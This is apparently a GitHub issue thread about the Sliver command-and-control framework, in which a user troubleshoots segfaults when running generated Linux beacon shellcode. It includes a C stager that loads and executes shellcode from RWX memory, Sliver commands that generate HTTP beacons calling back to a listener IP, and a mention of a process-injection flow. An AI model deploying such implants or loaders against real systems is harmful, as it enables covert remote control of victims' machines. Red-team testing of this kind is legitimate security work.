Generated shellcode crashes

[angelystor]

Hi!
I'm testing out Sliver's generated shellcode and I'm having some issues with getting it to run from my stager. I keep getting segmentation fault from my stager even though the same code works with msfvenom generated shellcode.

I've tried staged and non staged versions, aka I've tried generating the 10mb beacon and just loading it into my stager to execute and it still crashes.

I've also tested on simple C# programs that call VirtualAlloc/CreateThread and it also crashes.
I tested Sliver 1.5.24 self built and the released binaries on github on both Linux and Mac and same results.

I did a search in the discussions and issues and found this issue: #756 which I've tried but still same segfault :\

It should be something really simple that I'm missing, would appreciate some pointers!

Note that this is all in x64, I built an x64 version of the beacon, x64 msfvenom payload and an x64 version of the stager for testing

Sliver server:
[*] Server v1.5.24 - 4ffb75fa153a2230cd6cec86afadec44142f1d6f

Beacon generation commands:

profiles new beacon --http 192.168.185.138 --skip-symbols --format shellcode --os linux --debug http-beacon-shellcode
stage-listener --url http://192.168.185.138:80 --profile http-beacon-shellcode

I've also tried generating the beacon like this:

generate -d -e -o linux -f shellcode --http 192.168.185.138

and just running the http listener

Stager code:

FILE* shellcode = fopen(argv[1],"rb");
if(shellcode)
{
	int len = getFileSize(shellcode);
	printf("Shellcode length: %d\n", len);
	char* buffer = NULL;
	//Allocate Memory to store shellcode
	buffer = (char*) mmap (NULL, len+1, PROT_EXEC | PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_SHARED, -1, 0);
	if(buffer!=NULL)
	{
		fread(buffer, len+1, 1, shellcode);
		fclose(shellcode);
		fp shell = (fp) buffer;
		//Invoke Shellcode
		printf("Shellcode has been loaded at %p. Press any key to execute it...",buffer);
		getchar();
		shell();
		printf("Executing done! Unloading shellcode and cleaning up memory...\nx");
		munmap(buffer, len+1);
		return 0;
	}
	else
	{
		printf("Could not allocate memory for buffer! Process aborted...");
		return -1;
	}		
}

[c2biz]

even though the same code works with msfvenom generated shellcode

could issue #710 be related?

[angelystor]

@c2biz Thanks for helping. I just tested, it probably isn't #710.
Because I've tried just generating the beacon without any stages (10mb) and mmapping it + executing it and it segfaults.
I've also tried setting up an ncat listener and I didn't see it make any connection at all, it just crashes.

Do you happen to know what else could be the issue?

[moloch--]

Are you applying Shikata ga nai or is this the stock shellcode?

[angelystor]

@moloch-- This is stock shellcode. I didn't want to apply any transformations to it yet as I'm still testing.

Actually I also have a small problem with the windows version too... on my C# stager, I can't get it to work when I use the standard VirtualAlloc/CreateThread, ie the C# code shown in https://github.com/BishopFox/sliver/wiki/Stagers, but plain vanilla beacons, not staged.

But I can get it to work by doing a simple process injection (the standard OpenProcess/VirtualAlloc/WriteProcessMemory/CreateRemoteThread flow).

I did some low effort debugging into the shellcode and it seemed like it exited really early in the process. Seemed to go into some error condition and quit rather than threw an exception.

[moloch--]

Yea, I was just gonna say sgn requires RWX memory since its self-modifying.

[rkervella]

@angelystor shellcode format is only supported for the Windows OS at the moment. We should probably give the user a warning / prevent the generate command from succeeding though.

[angelystor]

@rkervella T_T I see, darn. I thought you guys didn't update the help text cos the generation went through :
Btw I posted a reply to @moloch-- about the Windows version of my stager here #824 (reply in thread), not sure if you can encountered such issues before